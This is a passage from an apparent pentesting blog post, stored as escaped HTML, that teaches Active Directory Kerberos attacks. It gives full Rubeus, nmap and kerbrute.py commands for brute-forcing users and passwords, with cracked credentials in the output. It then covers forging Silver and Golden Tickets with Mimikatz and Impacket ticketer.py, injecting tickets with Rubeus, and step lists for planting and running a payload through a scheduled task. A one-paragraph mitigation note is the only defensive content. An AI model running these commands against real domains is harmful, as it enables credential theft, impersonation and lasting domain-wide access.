brute force.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-2\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here we find ourselves again\u2026 Truthfully I only know of one way to brute-force Kerberos on Windows using\u2026. drum-roll please. <code>Rubeus<\/code> surprise surprise\u2026 That being said the <code>brute<\/code> module is not part of the core <code>Rubeus<\/code> repo and is instead a fork by <code>Zer1to<\/code><\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/Zer1t0\/Rubeus\n<\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"rebeus-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Rebeus<\/h4>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">As we have discussed Rebeus loads in this article already under <code>Kerberoasting<\/code> and <code>AS REP<\/code> I will jump straight to the chase.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can carry out the brute force with the below syntax (Has to be Zer1to\u2019s Fork)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe brute \/users:usernames.txt \/passwords:pass.txt \/domain:mahyarAD.local \/outfile:brutepasswords.txt\n\n   ______        _\n  (_____ \\      | |\n   _____) )_   _| |__  _____ _   _  ___\n  |  __  \/| | | |  _ \\| ___ | | | |\/___)\n  | |  \\ \\| |_| | |_) ) ____| |_| |___ |\n  |_|   |_|____\/|____\/|_____)____\/(___\/\n\n  v1.4.1\n\n&#91;+] Valid user => mahyar\n&#91;+] Valid user => jamie\n&#91;+] Valid user => jack\n&#91;+] MAHYAR => jack:jack123\n&#91;*] Saved TGT into jack.kirbi\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>brute<\/code> force module is really clever as if you crack a <code>Username<\/code> and <code>Password<\/code> combo it will automatically request a and save a <code>TGT<\/code> which you can inject into your current session to impersonate that user. But I will cover this later on when I discuss <code>Pass-The-Ticket<\/code> and <code>Kerberos Ticket Injection<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux-2\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Okay so surprisingly in my time and for the first time in this article I have actually had a easier experience enumerate Kerberos users from Linux and Brute forcing in comparison to Windows.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s first talk about <strong>nMap<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"nmap\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>nMap<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">I am sure we have all heard of nMap, it\u2019s probably the most used InfoSec tool used. Period.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now nMap has a really nice script that allows us to enumerate users with <code>krb5-enum-users<\/code> This is super useful as we do not to have access to the domain only access to the <code>KDC<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The syntax for <code>krb5-enum-users<\/code> is as follows<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -verbose 4 -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='kerbrealm',userdb=user.txt &lt;dc ip&gt;\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"kerbrutepy\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>kerbrute.py<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">There is a great script developed by <code>TarlogicSecurity<\/code> entitled <code>kerbrute.py<\/code> that uses Impacket Libaries to to brute force and enumerate <code>Kerberos<\/code> users.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/TarlogicSecurity\/kerbrute\n<\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> python kerbrute.py -domain mahyar.local -users usernames.txt -passwords pass.txt -outputfile foundusers.txt\n\nImpacket v0.9.20 - Copyright 2018 SecureAuth Corporation\n&#91;*] Valid user => mahyar\n&#91;*] Valid user => jack\n&#91;+] MAHYAR => jack:jack123\n&#91;*] Saved TGT in jack.ccache\n&#91;*] Saved discovered passwords in foundusers.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Similar to Rubeus it will also request a <code>TGT<\/code> and save it in <code>.ccache<\/code> format which is Linux\u2019s Kerberos ticket format which you can later inject to gain access to network resources etc.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"silver-ticket\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>Silver Ticket<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-3\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">if you are interested in InfoSec it\u2019s almost inevitable that you have heard of Silver Tickets and Golden Tickets at some points, most think that Silver Tickets are nothing compared to Golden Tickets but they are mistaken, silver tickets are just as dangerous and even more stealthier.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>This is because giving the nature of the attack there is no communication with the DC hence the stealth.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Silver tickets are essential forged <code>TGS<\/code> tickets which grant you access to a particular service aka <strong>service-tickets<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In order to generate a Silver-Ticket you require the <code>NTLM<\/code> hash of a <code>Service Account<\/code>, typically services run under traditional user accounts with a SPN value for ex. <code>mssql<\/code> &amp; <code>iis<\/code> user etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Silver Tickets not only apply too <code>User Accounts<\/code> they also apply to <code>Computer Accounts<\/code> as sometimes System Services run under the <code>Computer Account<\/code> in this case the NTLM hash of the Computer would be used to generate the ticket.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example: If I was an attacker and I gained access to a computer running a service and I elevated to admin\/system I could dump the <code>NTLM<\/code> hash of respective account (Computer or User) and generate a silver ticket impersonating said user.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With said generated ticket we could employ a <code>Pass-The-Ticket<\/code> attack and\/or Inject the ticket into our current session to access other available resources.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Before I proceed with the Windows \/ Linux practical sections I would just like to provide a brief overview of practical examples and when to use Silver Tickets.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"examples\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Examples<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">List of Possible Host SPN\u2019s (Services) that can be targetted with Computer Hash<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>alerter\nappmgmt\ncisvc\nclipsrv\nbrowser\ndhcp\ndnscache\nreplicator\neventlog\neventsystem\npolicyagent\noakley\ndmserver\ndns\nmcsvc\nfax\nmsiserver\nias\nmessenger\nnetlogon\nnetman\nnetdde\nnetddedsm\nnmagent\nplugplay\nprotectedstorage\nrasman\nrpclocator\nrpc\nrpcss\nremoteaccess\nrsvp\nsamss\nscardsvr\nscesrv\nseclogon\nscm\ndcom\ncifs\nspooler\nsnmp\nschedule\ntapisrv\ntrksvr\ntrkwks\nups\ntime\nwins\nwww\nhttp\nw3svc\niisadmin\nmsdtc\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>CIFS<\/strong> &#8211; <strong>System Service &#8211; Computer NTLM Hash<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The first example I am going to cover is if you have compromised the <code>NTLM<\/code> hash of a Computer Account<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Dump NTLM Hash of <code>Computer Account<\/code><\/li><li>Create Silver Ticket Targeting CIFS Service on Computer<\/li><li>Forged TGS (Service Ticket) ticket is created allow you to access target service.<\/li><li>Access \\\\computername\\C$ (Providing User has Access to Said Computer)<\/li><li>Copy payload.exe C:\\Temp\\payload.exe<\/li><li>Create Another Silver Ticket Targeting <strong>HOST Service<\/strong><\/li><li>Create Scheduled Task<\/li><li>Boom &#8211; Payload.exe is spawned on the target machine.<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MSSQL- User Service &#8211; User NTLM Hash<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s skip the exploiting part and presume we have the <code>NTLM<\/code> hash of a Service Account for <code>MSSQL<\/code> we can use this <code>NTLM<\/code> hash to impersonate this user account and access network resources they have access too. For example <code>MSSQL<\/code> servers etc. (Maybe if it\u2019s poorly configured we can access other stuff)<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Dump <code>NTLM<\/code> hash of <code>Service Account<\/code><\/li><li>Create Silver Ticket Targeting Service Account<\/li><li>Dump .kirbi Ticket<\/li><li>Inject <code>.kirbi<\/code><\/li><li>Access MSSQL Resources<ol><li>Databases<\/li><li>Shares (Maybe)<\/li><\/ol><\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">There is also some great examples here on creating Silver Tickets to work with LDAP, PS Remoting etc<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-active-directory-security wp-block-embed-active-directory-security\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"9PTKeEZ3fu\"><a href=\"https:\/\/adsecurity.org\/?p=2011\">How Attackers Use Kerberos Silver Tickets to Exploit Systems<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cHow Attackers Use Kerberos Silver Tickets to Exploit Systems\u201d \u2014 Active Directory &amp; Azure AD\/Entra ID Security\" src=\"https:\/\/adsecurity.org\/?p=2011&amp;embed=true#?secret=KMnEd1udby#?secret=9PTKeEZ3fu\" data-secret=\"9PTKeEZ3fu\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I hope this makes sense to people, now for the practical examples.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-3\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once again as we are attacking a protocol that is primarily used within Microsoft AD environments I do recommend you carry out the attacks from a Windows Box \/ <strong>Domain-Joined Machine<\/strong> but ofc it is possible from Linux but we will start with Windows.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I will only be discussing using Mimikatz for Ticket creation and then Rubeus for Ticket Injection. I do not believe you can create a Silver Ticket with Rubeus yet, but I may be wrong.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s go.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"creating-ticket-with-mimikatz\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Creating Ticket with Mimikatz<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>  .#####.   mimikatz 2.0 alpha (x86) release \"Kiwi en C\" (Apr  6 2014 22:02:03)\n .## ^ ##.\n ## \/ \\ ##  \/* * *\n ## \\ \/ ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n '## v ##'   http:\/\/blog.gentilkiwi.com\/mimikatz             (oe.eo)\n  '#####'                                    with  13 modules * * *\/\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Good old Mimikatz, the true swiss-army knife for dumping credentials, kerberos tickets, SAM Hives &amp; DPAPI manipulation. Shout out to Benjamin Delpy, the InfoSec community would be nothing without you.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz Silver Ticket Guide<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/domain: The FDQN\n\/sid: The SID (Security Identifier) of the Domain (whoami \/user)\n\/user: Target Account\/Computer to Impersonate\n\/id: RID of the account you will be impersonating\n\/ptt: Optional (Will Inject Ticket or you can do with Rubeus)\n\/rc4: NTLM Hash of User Password\/Computer Password\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>AD Security<\/strong> has a really nice example on using a Computer Hash:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>The following Mimikatz command creates a Silver Ticket for the CIFS service on the server adsmswin2k8r2.lab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain dump or by running Mimikatz on the local system as shown above (Mimikatz \u201cprivilege::debug\u201d \u201csekurlsa::logonpasswords\u201d exit). The NTLM password hash is used with the \/rc4 paramteer. The service SPN type also needs to be identified in the \/service parameter. Finally, the target computer\u2019s fully-qualified domain name needs to be provided in the \/target parameter. Don\u2019t forget the domain SID in the \/sid parameter.<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz \u201ckerberos::golden \/admin:LukeSkywalker \/id:1106 \/domain:lab.adsecurity.org \/sid:S-1-5-21-1473643419-774954089-2222329127 \/target:adsmswin2k8r2.lab.adsecurity.org \/rc4:d7e2b80507ea074ad59f152a1ba20458 \/service:cifs \/ptt\u201d exit\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Service Account Hash Example<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As I mentioned above let\u2019s say we have the <code>NTLM<\/code> hash of a Service Account (MSSQL) we can create a Silver Ticket for said User and then start issue SQL Commands to a Database providing the Database accepts Kerberos authentication (Most likely will)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe\nprvilege::debug\n\nkerberos::golden \/id:1106 \/domain:mahyarAD.local \/sid:S-1-5-21-1473643419-774954089-2222323452 \/target:sqlserver.mahyarAD.local \/rc4:d7e2b80507ea074ad59f152a1ba20458 \/service:MSSQLSvc \/user:mahyarFake \/ptt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PTT<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As you can see in the above examples I have applied the <code>\/ptt<\/code> flag which will automatically inject the ticket into my current session but we can choose to output it to a file with the <code>\/ticket<\/code> flag which will output a <code>ticket.kirbi<\/code> file by default unless directly specified.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can then use this <code>kirbi<\/code> ticket for a certain level of persistence and\/or inject them with Rubeus which Iw ill display below.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"injecting-ticket-with-rubeus\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Injecting Ticket with Rubeus<\/h4>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">As we have discussed Rubeus loads in this article already under <code>Kerberoasting<\/code> and <code>AS REP<\/code> I will jump straight to the chase.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can use Rubeus to inject Silver Tickets into our session by 2 methods, <code>.kirbi<\/code> file or a Base64 of said <code>.kirbi<\/code> file which I find very useful.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Inject <code>.kirbi<\/code> from Disk<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe ptt \/ticket:C:\\Temp\\silver.kirbi\n\n(_____ \\      | |\n _____) )_   _| |__  _____ _   _  ___\n|  __  \/| | | |  _ \\| ___ | | | |\/___)\n| |  \\ \\| |_| | |_) ) ____| |_| |___ |\n|_|   |_|____\/|____\/|_____)____\/(___\/\n\nv1.3.3\n\n\n&#91;*] Action: Import Ticket\n&#91;+] Ticket successfully imported!\n\nPS C:\\Users\\mahyar> .\\Rubeus.exe klist\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Inject <code>.kirbi<\/code> from Base64 Blog<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe ptt \/ticket:BASE64BLOBHERE\n\n(_____ \\      | |\n _____) )_   _| |__  _____ _   _  ___\n|  __  \/| | | |  _ \\| ___ | | | |\/___)\n| |  \\ \\| |_| | |_) ) ____| |_| |___ |\n|_|   |_|____\/|____\/|_____)____\/(___\/\n\nv1.3.3\n\n\n&#91;*] Action: Import Ticket\n&#91;+] Ticket successfully imported!\n\nPS C:\\Users\\mahyar> .\\Rubeus.exe klist\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux-3\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">I am going to try my best here to show how you can use Silver Tickets\/Inject them etc from Linux but truthfully this is a learning experience for me as I 99% of the time carry this out on Windows bases platforms and\/or <strong>Domain-Joined Machines<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"ticketerpy\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>ticketer.py<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Here we find ourselves again on a Linux machine wanting to do Windows things so where do we look? You have one guess. Yep you\u2019re right. <strong>Impacket<\/strong> has a script called <code>ticketer.py<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I truthfully just learnt about this script after doing some Googling so I am not expert on it\u2019s internals but after a brief overview it appears as if <code>ticketer.py<\/code> allows you to generate forged <code>Silver<\/code> and <code>Golden<\/code> tickets which will come in handy for the next section about <code>Golden Tickets<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Syntax for Ticketer is as follows<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> python ticketer.py -domain-sid S-1-5-21-1473643419-774954089-2222323452 -nthash d7e2b80507ea074ad59f152a1ba20458 -domain mahyarAD.local -spn cifs\/workstation.mahyarAD.local mahyar\n    \n#This will export a .ccache file which can be imported by executing the below command\n\nKRB5CCNAME=\/scripts\/mahyar.ccache \n\nWe can then pass the -K switch through with any other Impacket scripts and it will automatically use the cached kerberos ticket, such as PSEXec, WMIExec (i think).\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Truthfully that\u2019s all I have for Linux, I am more than happy for someone to submit a Commit with a better solution and I will happily review it and perhaps add it on here.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-silver-tickets\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending Silver Tickets<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Silver Tickets are really difficult to detect as there is no communication with the DC to request a <code>TGT<\/code> as you are merely requesting a <code>TGS<\/code> directly from the respective service. Of course there are logs generated on the respective machine hosting the service but these logs are local and sometimes not centrally stored\/monitored.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Set <code>Account is Sensitive and Cannot be Delegated<\/code> as this will prevent an attacker from lateral movement using said account\/kerberos ticket.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"-golden-ticket\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a> Golden Ticket<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-4\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Wow &#8211; Not going to lie I did not expect the <code>Silver Ticket<\/code> section to go on for that long, I even learnt some stuff myself while writing that\u2026 I am going to try keep this section relatively smaller as it is in theory the same practice just slightly different as we are not targeting <code>Computer Hash's<\/code> or <code>User Hash's<\/code> but instead the hash of the <code>krbtgt<\/code> account which can typically only be retrieved from pwning the Domain Controller and dumping the <code>NTDS.dit<\/code> file and\/or Dumping <code>LSAAS<\/code> on the DC and putting it through <code>Mimikatz<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now you thought Silver Tickets were dangerous? Imagine if you could forge a Kerberos ticket that would grant you access to any resource on the network at any time perhaps forever.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That\u2019s what Golden Tickets are except they are slightly different in the fact that Silver Tickets request <code>TGS<\/code> tickets which grant you access to individual target service. Whereas with Golden Ticket you forge a <code>TGT<\/code> with the <code>krbtgt<\/code> hash which grants you access to every service and\/or machine in the entire Domain.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>KRBTGT Account NTLM Hash<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>NTLM<\/code> hash of the <code>KRBTGT<\/code> account is the true keys-to the castle for an entire domain (sometimes an enitre forest;) ) You can get this <code>NTLM<\/code> hash from one of the options below<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Mimikatz on Domain Controller (lsadump::dcsync and\/or sekurlsa::logonpasswords all)<\/li><li>Dumping NTDS.dit<\/li><li>DCSync<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Sooo, What does the <code>KRBTGT<\/code> account actually do.. Well the <code>KRBTGT<\/code> account is used to encrypt and sign all Kerberos tickets across the entire domain for validation. If you are on a Windows Domain Environment right now this account is working away doing it\u2019s thing. The password also never changes unless explicity done by a SysAdmin etc and it\u2019s name is always <code>KRBTGT<\/code> so it\u2019s a common target for attackers.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The true beauty of Golden Tickets are the fact that they are valid <code>TGTs<\/code> as it is encrypted\/signed by the <code>KRBTGT<\/code> account so they appear like legitimate <code>TGTs<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I believe I have explained now how we use Golden Tickets and hinted at how dangerous these really can be so I will not demonstrate some practical examples of course with Windows First followed by Linux.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-4\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>copy and paste ftw<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once again as we are attacking a protocol that is primarily used within Microsoft AD environments I do recommend you carry out the attacks from a Windows Box \/ <strong>Domain-Joined Machine<\/strong> but ofc it is possible from Linux but we will start with Windows.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I will only be discussing using Mimikatz for Ticket creation and then Rubeus for Ticket Injection. I do not believe you can create a Golden Ticket with Rubeus yet, but I may be wrong.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s go.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"creating-ticket-with-mimikatz-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Creating Ticket with Mimikatz<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>  .#####.   mimikatz 2.0 alpha (x86) release \"Kiwi en C\" (Apr  6 2014 22:02:03)\n .## ^ ##.\n ## \/ \\ ##  \/* * *\n ## \\ \/ ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n '## v ##'   http:\/\/blog.gentilkiwi.com\/mimikatz             (oe.eo)\n  '#####'                                    with  13 modules * * *\/\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Golden Ticket Requirements<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Domain Name: mahyarAD.local\nDomain SID: S-1-5-21-1473643419-774954089-2222323452 (whoami \/user)\nKRBTGT NTLM Hash: d7e2b80507ea074ad59f152a1ba20458\nID: 500 (Administrator SID), 518 (Schema Admins), 519 (Enterprise Admin)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Generate Ticket<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe \nkerberos::golden \/domain:mahyarAD.local \/sid:&lt;domain-sid> \/krbtgt:&lt;krbtgt> \/id:500 \/user:FakeAdmin \/ticket persistance4life.kirbi\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PTT<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As you can see in the above examples I have applied the <code>\/ptt<\/code> flag which will automatically inject the ticket into my current session but we can choose to output it to a file with the <code>\/ticket<\/code> flag which will output a <code>ticket.kirbi<\/code> file by default unless directly specified.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can then use this <code>kirbi<\/code> ticket for a certain level of persistence and\/or inject them with Rubeus which Iw ill display below.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe\nkerberos::ptt persistance4life.kirbi\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"injecting-ticket-with-rubeus-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Injecting Ticket with Rubeus<\/h4>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Disclaimer : This is an exact copy of this section under Silver Tickets<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As we have discussed Rubeus loads in this article already under <code>Kerberoasting<\/code> and <code>AS REP<\/code> I will jump straight to the chase.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can use Rubeus to inject Silver Tickets into our session by 2 methods, <code>.kirbi<\/code> file or a Base64 of said <code>.kirbi<\/code> file which I find very useful.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Inject <code>.kirbi<\/code> from Disk<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe ptt \/ticket:C:\\Temp\\silver.kirbi\n\n(_____ \\      | |\n _____) )_   _| |__  _____ _   _  ___\n|  __  \/| | | |  _ \\| ___ | | | |\/___)\n| |  \\ \\| |_| | |_) ) ____| |_| |___ |\n|_|   |_|____\/|____\/|_____)____\/(___\/\n\nv1.3.3\n\n\n&#91;*] Action: Import Ticket\n&#91;+] Ticket successfully imported!\n\nPS C:\\Users\\mahyar> .\\Rubeus.exe klist\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Inject <code>.kirbi<\/code> from Base64 Blog<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe ptt \/ticket:BASE64BLOBHERE\n\n(_____ \\      | |\n _____) )_   _| |__  _____ _   _  ___\n|  __  \/| | | |  _ \\| ___ | | | |\/___)\n| |  \\ \\| |_| | |_) ) ____| |_| |___ |\n|_|   |_|____\/|____\/|_____)____\/(___\/\n\nv1.3.3\n\n\n&#91;*] Action: Import Ticket\n&#91;+] Ticket successfully imported!\n\nPS C:\\Users\\mahyar> .\\Rubeus.exe klist\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux-4\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">I am going to try my best here to show how you can use Golden Tickets\/Inject them etc from Linux but truthfully this is a learning experience for me as I 99% of the time carry this out on Windows bases platforms and\/or <strong>Domain-Joined 